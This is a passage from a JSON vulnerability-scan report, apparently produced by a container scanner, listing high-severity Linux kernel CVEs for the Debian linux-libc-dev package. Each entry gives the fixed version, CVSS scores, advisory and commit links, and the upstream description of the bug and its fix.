"https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74580" ], "PublishedDate": "2026-08-21T17:16:44.21Z", "LastModifiedDate": "2026-10-29T04:18:40.513Z" }, { "VulnerabilityID": "CVE-2026-74581", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74581", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:98b4b1ef6956178490422d39f776db2dd015ab7e364290da40edb93709ed5c20", "Title": "kernel: net: ipv6: use-after-free in fib6_rule_suppress due to stale res-\u003ert6 pointer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv6: clear suppressed fib6 rule result\n\nfib6_rule_suppress() drops a suppressed route with ip6_rt_put_flags(),\nbut leaves res-\u003ert6 pointing at the released rt6_info.\n\nIf no later rule supplies a replacement, fib6_rule_lookup() still sees\nres.rt6 and returns that stale dst to its caller. A suppressing rule can\ntherefore leak a released route back to rt6_lookup(), and the next put\nhits rcuref_put_slowpath() from dst_release().\n\nClear res-\u003ert6 when suppressing the route so suppressed lookups fall\nthrough to the null dst instead of reusing the released one.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/security/cve/CVE-2026-74581", "https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6aea62e433fe1b586202a5fee8b5807ce635e1d7", "https://git.kernel.org/stable/c/354db6243eca59e9d187ffbf8b7955b044ce84dc", "https://git.kernel.org/stable/c/5d29b286c9de0b309e94b9ed083aa1a2f429434f", "https://git.kernel.org/stable/c/6aea62e433fe1b586202a5fee8b5807ce635e1d7", "https://git.kernel.org/stable/c/6d98c70fe0ba8c7708bfd5b2a5174d2086775daa", "https://git.kernel.org/stable/c/90c57310e266eb94e4a80d6b15a9ca131d2e82cb", "https://git.kernel.org/stable/c/9bad152c42b37499162367fe47867411e62fffa3", "https://git.kernel.org/stable/c/a341c091ca0bfae377747b1b59a3bd8ebe18a937", "https://git.kernel.org/stable/c/dc3ab04220667f254f4348572b2a0b3febff89fb", "https://linux.oracle.com/cve/CVE-2026-74581.html", "https://linux.oracle.com/errata/ELSA-2026-63128-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74581", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74581" ], "PublishedDate": "2026-08-21T17:16:44.363Z", "LastModifiedDate": "2026-10-16T20:17:39.94Z" }, { "VulnerabilityID": "CVE-2026-74582", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74582", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:19ce1ce32a57cb97a77daa010539573ade3b05ec613c15a09d8b2ab6cad8ac31", "Title": "kernel: packet: use consistent hard_header_len in non-ring send paths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npacket: use consistent hard_header_len in non-ring send paths\n\npacket_snd() reads dev-\u003ehard_header_len multiple times while allocating\nand constructing an skb. Device reconfiguration can change this value\nconcurrently, for example through bonding device type changes.\n\nFor SOCK_RAW, packet_snd() can save a larger value in reserve and later\nallocate headroom using a smaller value. Moving skb-\u003edata back by reserve\nthen places it before skb-\u003ehead, and the following copy from userspace can\nattempt an out-of-bounds write.\n\npacket_sendmsg_spkt() has the same issue because it calculates its\nreservation and header offset from separate reads before dropping the RCU\nread lock to allocate the skb.\n\nAdd LL_RESERVED_SPACE_EX() for callers that already saved a header length.\nRead hard_header_len once in packet_snd() and use it for allocation and\nconstruction. In packet_sendmsg_spkt(), preserve the allocation-time value\nthrough the device lookup retry.\n\nThe separate SOCK_DGRAM consistency problem between hard_header_len and\nheader_ops-\u003ecreate is not addressed here.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77500", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-74582", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2519475", "https://bugzilla.redhat.com/2521057", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-77500.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/stable/c/03390aa32e669cc4ecd7d34108e2e1afc13d689d", "https://git.kernel.org/stable/c/142e287b3a25cfe909215177c23243e7fc5ae2b1", "https://git.kernel.org/stable/c/5bb10753d428aadfc356a2bfe9acea09c82a62ec", "https://git.kernel.org/stable/c/78a47127e33c340bc6d38dcc4552a094b4f5cc77", "https://git.kernel.org/stable/c/9052756290962ffb9a661bcf319e92dedaaedfed", "https://git.kernel.org/stable/c/91f041451f967cd87ed722a8f43c0b767a64f1a0", "https://git.kernel.org/stable/c/b06b6fce6d7deaf7238e09b48ce3b1125ff41acd", "https://git.kernel.org/stable/c/bcd4df60ac9481b1ceffdfe5ec38fe51dcaae812", "https://linux.oracle.com/cve/CVE-2026-74582.html", "https://linux.oracle.com/errata/ELSA-2026-93412.html", "https://lore.kernel.org/linux-cve-announce/2026082100-CVE-2026-74582-3296@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74582", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74582" ], "PublishedDate": "2026-08-21T17:16:44.507Z", "LastModifiedDate": "2026-10-16T20:17:40.1Z" }, { "VulnerabilityID": "CVE-2026-74583", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74583", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:86fc8a1e5f7285f6b0fc7a40337b62f427ae9d55ca8c080f6611381a3e029cf6", "Title": "kernel: net/sched: cls_route: fix fastmap use-after-free on filter", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: cls_route: fix fastmap use-after-free on filter\n\nThe route4 classifier maintains a 16-slot fastmap cache that stores raw\nstruct route4_filter pointers indexed by (id, iif). The reader\n(route4_classify) populates this cache via route4_set_fastmap() for every\nclassified packet that hits a filter. The writer (route4_delete,\nroute4_change) clears the cache via route4_reset_fastmap() before\nRCU-deferred kfree of the filter.\n\nThis creates a UAF race:\n 1. Reader walks the RCU-protected bucket chain, finds filter f\n 2. Writer unlinks f, calls route4_reset_fastmap(), then tcf_queue_work()\n 3. Reader calls route4_set_fastmap() and writes f into the cache\n *after* the writer's reset, caching a pointer about to be freed\n 4. After the RCU grace period, kfree(f) executes\n 5. Next classified packet on the same (id, iif) tuple hits the stale\n fastmap entry and reads f-\u003eres from freed memory\n\nReproduced with an mdelay(100) accelerator in route4_set_fastmap() and a\nconcurrent add/delete stress test (provided by both zdi and Santosh).\nBoth triggered KASAN slab-use-after-free reports in the route4 fastmap\npaths.\n\nFix:\nIntroduce a per-filter boolean dying flag to suppress stale fastmap\nrepublishing by in-flight readers.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83157", "https://access.redhat.com/errata/RHSA-2026:83159", "https://access.redhat.com/security/cve/CVE-2026-74583", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2521054", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2521054", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74583", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://errata.almalinux.org/8/ALSA-2026-83159.html", "https://errata.rockylinux.org/RLSA-2026:83157", "https://git.kernel.org/stable/c/0e7a8cf8895b06d07c7311f028eba16ad742b9bc", "https://git.kernel.org/stable/c/47d7f7051253bdc02b1d245d87e38f16d31a74df", "https://git.kernel.org/stable/c/5ec9001be6d0eb527251125632ec8fe88278897f", "https://git.kernel.org/stable/c/7897198b26445b4009a057bda1986b94a99e5d5f", "https://git.kernel.org/stable/c/820f083c294ad6d319c02a7d43294f2ed2565139", "https://git.kernel.org/stable/c/a17f636c9330eac879822ce29f998e5abd1b72c1", "https://git.kernel.org/stable/c/ae9aff87025219005a2d16b4fe83d6f24643e50d", "https://git.kernel.org/stable/c/b969984b2bdc85d721ce4047cd270cd37ec705a2", "https://linux.oracle.com/cve/CVE-2026-74583.html", "https://linux.oracle.com/errata/ELSA-2026-83157.html", "https://lore.kernel.org/linux-cve-announce/2026082100-CVE-2026-74583-70cb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74583", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74583" ], "PublishedDate": "2026-08-21T17:16:44.643Z", "LastModifiedDate": "2026-10-16T20:17:40.37Z" }, { "VulnerabilityID": "CVE-2026-74588", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74588", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6ae0277f10c4a02f69e235495dfcfac36691b4a5f0f0c1ce92b0300f36ee9495", "Title": "kernel: sctp: keep chunk-\u003etransport in step with the list it is queued on", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: keep chunk-\u003etransport in step with the list it is queued on\n\n__sctp_outq_flush_rtx() moves a gap-acked chunk onto another transport's\ntransmitted list without updating chunk-\u003etransport:\n\n\tif (chunk-\u003etsn_gap_acked) {\n\t\tlist_move_tail(\u0026chunk-\u003etransmitted_list,\n\t\t\t \u0026transport-\u003etransmitted);\n\t\tcontinue;\n\t}\n\nThe chunk then sits on a live transport's list while chunk-\u003etransport still\nnames a different one. If that transport is removed - sctp_assoc_rm_peer()\nfrom an ASCONF Delete-IP - sctp_transport_free() RCU-frees it and the chunk\nis left with a dangling pointer. sctp_assoc_rm_peer() scrubs\npeer-\u003etransmitted and asoc-\u003eoutqueue.out_chunk_list, but the chunk is on\nneither.\n\nThe pointer is not followed while tsn_gap_acked is set. A SACK that\nreneges on the TSN clears the flag, and the next SACK reaches\n\n\ttchunk-\u003etransport-\u003eflight_size -= sctp_data_size(tchunk);\n\ninside the freed transport. KASAN reports a slab-use-after-free read in\nsctp_check_transmitted(), freed from sctp_assoc_rm_peer(). Both the\nremoval and the SACKs come from the association peer.\n\nSet chunk-\u003etransport at the move. The ordinary resend path needs nothing:\nit reaches its list_move_tail() only after sctp_packet_append_chunk()\nreturned SCTP_XMIT_OK, and __sctp_packet_append_chunk() has rebound the\nchunk by then.\n\nDiscovered by XBOW, triaged by Baul Lee \u003cbaul.lee@xbow.com\u003e", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-74588", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/stable/c/1adf929121e13e0b19200bb9fef715b918d483fe", "https://git.kernel.org/stable/c/2b3b5eec8b2c30ee237e3c31a6a38de9c39d804d", "https://git.kernel.org/stable/c/5ccf35ef0ed6059cdf8b1f4606a6584d5b67166b", "https://git.kernel.org/stable/c/6575fb17230814b48b471727c8410c0aadff9274", "https://git.kernel.org/stable/c/6b9e2ea2057113f3393990ba646d2d97c719a80d", "https://git.kernel.org/stable/c/874a7c2b5e184f06134fdfde27e9ce9271bafe58", "https://git.kernel.org/stable/c/9f2cf069a9a72a2d6b97ca8b4c70e714aac99749", "https://git.kernel.org/stable/c/e2e7c1de0e226ca1b7fea2de57a6c9bca408709b", "https://linux.oracle.com/cve/CVE-2026-74588.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026082212-CVE-2026-74588-29ed@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74588", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74588" ], "PublishedDate": "2026-08-22T16:16:30.96Z", "LastModifiedDate": "2026-10-16T20:17:42.177Z" }, { "VulnerabilityID": "CVE-2026-74597", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74597", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:817829f2733305932961354eae84f616bd20281cfecab0ee9bae5fc61424ddd8", "Title": "kernel: ip6_tunnel: clear skb2-\u003ecb[] in ip6ip6_err()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: clear skb2-\u003ecb[] in ip6ip6_err()\n\nip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the\nquoted inner IPv6 packet, and then passes the clone to icmpv6_send().\nThe clone still carries the outer packet's inet6_skb_parm in skb-\u003ecb.\n\nIf the outer packet had a Home Address Option, IP6CB(skb2)-\u003edsthao\nremains non-zero after skb_pull(). icmpv6_send() later calls\nmip6_addr_swap(), which uses that stale dsthao offset against the quoted\ninner packet. A malformed inner destination-options header can then make\nthe HAO lookup and address swap run past the end of the quoted packet\nand corrupt skb_shared_info.\n\nClear skb2-\u003ecb[] before pulling the quoted inner IPv6 packet so the\nreply path does not reuse metadata left by the outer IPv6 stack.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74597", "https://git.kernel.org/stable/c/0dadb0620ab65949a8bc2439dd28ea3c942fe87d", "https://git.kernel.org/stable/c/44fe898df302e91c5ee5acbc71ffa74e78e6c183", "https://git.kernel.org/stable/c/484134e1eb07d700a73b1e4bbf3fb503e299be60", "https://git.kernel.org/stable/c/4eb15c465337b18f44716c499cd6ad63eee0ad54", "https://git.kernel.org/stable/c/64e41736a26f37ab6215bc2e6df125df05aceb08", "https://git.kernel.org/stable/c/b6816536a2990c0db44a26130a03e40b441e829b", "https://git.kernel.org/stable/c/f803c086399da277b5d0ff36a107d0f162751800", "https://git.kernel.org/stable/c/fbf40faa0414b753212494ad197542002e66ed9e", "https://linux.oracle.com/cve/CVE-2026-74597.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082214-CVE-2026-74597-98fc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74597", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74597" ], "PublishedDate": "2026-08-22T16:16:32.04Z", "LastModifiedDate": "2026-10-16T20:17:45.07Z" }, { "VulnerabilityID": "CVE-2026-74615", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": 